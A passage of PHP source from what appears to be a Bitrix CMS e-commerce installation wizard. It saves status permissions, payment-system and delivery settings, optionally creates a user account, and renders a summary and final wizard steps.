|| $arResult["perm"][$arStatus["ID"]][$v]["PERM_UPDATE"] == "Y"
|| $arResult["perm"][$arStatus["ID"]][$v]["PERM_PAYMENT"] == "Y"
|| $arResult["perm"][$arStatus["ID"]][$v]["PERM_DELIVERY"] == "Y"
|| $arResult["perm"][$arStatus["ID"]][$v]["PERM_CANCEL"] == "Y")
? "Y" : $arResult["perm"][$arStatus["ID"]][$v]["PERM_VIEW"]),
"PERM_CANCEL" => $arResult["perm"][$arStatus["ID"]][$v]["PERM_CANCEL"],
"PERM_MARK" => $arResult["perm"][$arStatus["ID"]][$v]["PERM_MARK"],
"PERM_DEDUCTION" => $arResult["perm"][$arStatus["ID"]][$v]["PERM_DEDUCTION"],
"PERM_DELIVERY" => $arResult["perm"][$arStatus["ID"]][$v]["PERM_DELIVERY"],
"PERM_PAYMENT" => $arResult["perm"][$arStatus["ID"]][$v]["PERM_PAYMENT"],
"PERM_STATUS" => $arResult["perm"][$arStatus["ID"]][$v]["PERM_STATUS"],
"PERM_STATUS_FROM" => $arResult["perm"][$arStatus["ID"]][$v]["PERM_STATUS_FROM"],
"PERM_UPDATE" => $arResult["perm"][$arStatus["ID"]][$v]["PERM_UPDATE"],
"PERM_DELETE" => $arResult["perm"][$arStatus["ID"]][$v]["PERM_DELETE"],
);
}
CSaleStatus::Update($arStatus["ID"], Array("PERMS" => $arPerms, "SORT" => $arStatus["SORT"]));
}
$paySystemID = Array();
$paySystem = Array();
foreach($arResult["paySystem"] as $pType => $pSystem)
{
if(!empty($pSystem))
{
foreach($pSystem as $v)
{
$paySystem[$v][] = $pType;
if(!in_array($v, $paySystemID))
$paySystemID[] = $v;
}
}
}
$dbPaySys = CSalePaySystem::GetList(Array(), Array("ACTIVE" => "Y"), false, false, Array("ID", "ACTIVE"));
while($arPaySys = $dbPaySys -> Fetch())
{
if(!in_array($arPaySys["ID"], $paySystemID))
CSalePaySystem::Update($arPaySys["ID"], Array("ACTIVE" => "N"));
}
foreach($paySystem as $pID => $value)
{
$dbPaySysAction = CSalePaySystemAction::GetList(Array(), Array("PAY_SYSTEM_ID" => $pID));
while($arPaySysAction = $dbPaySysAction->Fetch())
{
if(!in_array($arPaySysAction["PERSON_TYPE_ID"], $value))
CSalePaySystemAction::Delete($arPaySysAction["ID"]);
}
}
function LocalGetPSActionParams($fileName)
{
$arPSCorrespondence = array();
if (file_exists($fileName) && is_file($fileName))
include($fileName);
return $arPSCorrespondence;
}
foreach($paySystem as $pID => $value)
{
foreach($value as $personID)
{
$arFields = Array();
$arPaySysAction = "";
$dbPaySysAction = CSalePaySystemAction::GetList(Array(), Array("PAY_SYSTEM_ID" => $pID, "PERSON_TYPE_ID" => $personID));
if($arPaySysAction = $dbPaySysAction->Fetch())
{
$pathToAction = $_SERVER["DOCUMENT_ROOT"].$arPaySysAction["ACTION_FILE"];
}
else
{
$dbPaySysAction = CSalePaySystemAction::GetList(Array(), Array("PAY_SYSTEM_ID" => $pID));
if($arPaySysActionTmp = $dbPaySysAction->Fetch())
$pathToAction = $_SERVER["DOCUMENT_ROOT"].$arPaySysActionTmp["ACTION_FILE"];
}
if(strlen($pathToAction)>0)
{
$arPSCorrespondence = LocalGetPSActionParams($pathToAction."/.description.php");
$arParams = Array();
foreach($arPSCorrespondence as $k => $v)
{
$typeTmp = $arResult[$pID."_".$k."_".$personID];
$valueTmp = $arResult["VALUE1_".$pID."_".$k."_".$personID];
if(strlen($valueTmp) <= 0)
$valueTmp = $arResult["VALUE2_".$pID."_".$k."_".$personID];
$arParams[$k] = Array("TYPE" => $typeTmp, "VALUE" => $valueTmp);
}
$arFields = array(
"NEW_WINDOW" => $arResult["paySystemPopup"][$pID][$personID],
"PARAMS" => CSalePaySystemAction::SerializeParams($arParams),
);
if(IntVal($arPaySysAction["ID"])>0)
{
CSalePaySystemAction::Update($arPaySysAction["ID"], $arFields);
}
else
{
$arFields["PAY_SYSTEM_ID"] = $pID;
$arFields["PERSON_TYPE_ID"] = $personID;
$arFields["NAME"] = $arPaySysActionTmp["NAME"];
$arFields["ACTION_FILE"] = $arPaySysActionTmp["ACTION_FILE"];
$arFields["HAVE_PREPAY"] = "N";
$arFields["HAVE_RESULT"] = "N";
$arFields["HAVE_ACTION"] = "N";
$arFields["HAVE_PAYMENT"] = "N";
$arFields["HAVE_RESULT_RECEIVE"] = "N";
if (file_exists($pathToAction))
{
if (is_dir($pathToAction))
{
if (file_exists($pathToAction."/pre_payment.php"))
$arFields["HAVE_PREPAY"] = "Y";
if (file_exists($pathToAction."/result.php"))
$arFields["HAVE_RESULT"] = "Y";
if (file_exists($pathToAction."/action.php"))
$arFields["HAVE_ACTION"] = "Y";
if (file_exists($pathToAction."/payment.php"))
$arFields["HAVE_PAYMENT"] = "Y";
if (file_exists($pathToAction."/result_rec.php"))
$arFields["HAVE_RESULT_RECEIVE"] = "Y";
}
else
{
$arFields["HAVE_PAYMENT"] = "Y";
}
}
CSalePaySystemAction::Add($arFields);
}
}
}
}
COption::SetOptionInt("sale", "location", $arResult["location"], false, $arResult["siteID"]);
if(empty($arResult["delivery"]))
$arResult["delivery"] = Array();
$dbDelivery = CSaleDeliveryHandler::GetList(Array("SORT" => "ASC"), Array("SITE_ID" => $arResult["siteID"], "ACTIVE" => "Y"));
while($arDelivery = $dbDelivery->Fetch())
{
if(!in_array($arDelivery["SID"]."_new", $arResult["delivery"]))
CSaleDeliveryHandler::Set($arDelivery["SID"], Array("ACTIVE" => "N"));
}
$dbDelivery = CSaleDelivery::GetList(Array("SORT" => "ASC"), Array("LID" => $arResult["siteID"], "ACTIVE" => "Y"));
while($arDelivery = $dbDelivery->Fetch())
{
if(!in_array($arDelivery["ID"], $arResult["delivery"]))
CSaleDelivery::Update($arDelivery["ID"], Array("ACTIVE" => "N"));
}
if(strlen($arResult["login"])>0)
{
$arFields = Array(
"LOGIN" => $arResult["login"],
"PASSWORD" => $arResult["password"],
"CONFIRM_PASSWORD" => $arResult["password_rep"],
"EMAIL" => $arResult["email"],
);
$user = new CUser();
$ID = $user->Add($arFields);
if(IntVal($ID)>0)
{
$sGroups = COption::GetOptionString("main", "new_user_registration_def_group", "");
CUser::SetUserGroup($ID, array_merge(explode(",", $sGroups), $arResult["1C_GROUP_PERMISSIONS"]));
}
}
}
}
function ShowStep()
{
$wizard = &$this->GetWizard();
$arResult = $wizard->GetVars(true);
$dbSite = CSite::GetByID($arResult["siteID"]);
$arSite = $dbSite->GetNext();
CModule::IncludeModule("currency");
$dbCurrency = CCurrency::GetList($b="SORT", $o="ASC", $arResult["siteID"]);
while($arCur = $dbCurrency->GetNext())
$arCurrency[$arCur["CURRENCY"]] = $arCur["FULL_NAME"];
$dbUGroup = CGroup::GetList($b="c_sort", $o="ASC", Array("ACTIVE" => "Y"));
while($arUGroup = $dbUGroup->GetNext())
$arGroups[$arUGroup["ID"]] = $arUGroup["NAME"];
CModule::IncludeModule("sale");
$dbPersonType = CSalePersonType::GetList(Array("SORT"=>"ASC"), Array("ACTIVE" => "Y", "LID" => $arResult["siteID"]));
while($arPersonType = $dbPersonType->GetNext())
$arPersons[$arPersonType["ID"]] = $arPersonType["NAME"];
$dbPaySystem = CSalePaySystem::GetList(Array("SORT"=>"ASC"), Array("ACTIVE" => "Y", "LID" => $arResult["siteID"]));
while($arPaySystem = $dbPaySystem->GetNext())
$arPaySystems[$arPaySystem["ID"]] = $arPaySystem["NAME"];
$dbDelivery = CSaleDeliveryHandler::GetList(Array("SORT" => "ASC"), Array("SITE_ID" => $arResult["siteID"], "ACTIVE" => "Y"));
while($arDelivery = $dbDelivery->GetNext())
$arDeliveries[$arDelivery["SID"]."_new"] = $arDelivery["NAME"]." ".GetMessage("WW_STEP8_1");
$dbDelivery = CSaleDelivery::GetList(Array("SORT" => "ASC"), Array("LID" => $arResult["siteID"], "ACTIVE" => "Y"));
while($arDelivery = $dbDelivery->GetNext())
$arDeliveries[$arDelivery["ID"]] = $arDelivery["NAME"];
$this->content = GetMessage("WW_2")."<br />";
$this->content .= "<link rel=\"stylesheet\" type=\"text/css\" href=\"/bitrix/wizards/bitrix/sale.install/styles.css\">";
$this->content .= "<table class=\"data-table\">";
$this->content .= "<tr><th>".GetMessage("WW_STEP1_2")."</th><td>[".$arSite["ID"]."] ".$arSite["NAME"]."</td></tr>";
$this->content .= "<tr><th>".GetMessage("WW_STEP1_3")."</th><td>".$arResult["orderEmail"]."</td></tr>";
$this->content .= "<tr><th>".GetMessage("WW_STEP1_5")."</th><td>".$arResult["currencyID"]." (".$arCurrency[$arResult["currencyID"]].")"."</td></tr>";
$this->content .= "<tr><th>".GetMessage("WW_3")."</th><td>";
foreach($arResult["groupID"] as $v)
$this->content .= $arGroups[$v]."<br />";
$this->content .= "</td></tr>";
$this->content .= "<tr><th>".GetMessage("WW_4")."</th><td>";
foreach($arResult["personType"] as $v)
$this->content .= $arPersons[$v]."<br />";
$this->content .= "</td></tr>";
$this->content .= "<tr><th>".GetMessage("WW_5")."</th><td>";
$arPS = Array();
foreach($arResult["paySystem"] as $v)
{
if(!empty($v))
{
foreach($v as $v1)
{
if(!in_array($v1, $arPS))
$arPS[] = $v1;
}
}
}
foreach($arPS as $v)
$this->content .= $arPaySystems[$v]."<br />";
$this->content .= "</td></tr>";
$this->content .= "<tr><th>".GetMessage("WW_6")."</th><td>";
if(!empty($arResult["delivery"]))
{
foreach($arResult["delivery"] as $v)
$this->content .= $arDeliveries[$v]."<br />";
}
$this->content .= "</td></tr>";
$this->content .= "</table>";
}
}
class FinalStep extends CWizardStep
{
function InitStep()
{
$this->SetTitle(GetMessage("WW_7"));
$this->SetStepID("final");
$this->SetCancelCaption(GetMessage("WW_CLOSE"));
$this->SetCancelStep("final");
}
function ShowStep()
{
$this->content .= GetMessage("WW_8");
}
}
class CancelStep extends CWizardStep
{
function InitStep()
{
$this->SetTitle(GetMessage("WW_9"));
$this->SetStepID("cancel");
$this->SetCancelCaption(GetMessage("WW_CLOSE"));
$this->SetCancelStep("cancel");
}
function ShowStep()
{
$this->content .= GetMessage("WW_10");
}
}
?>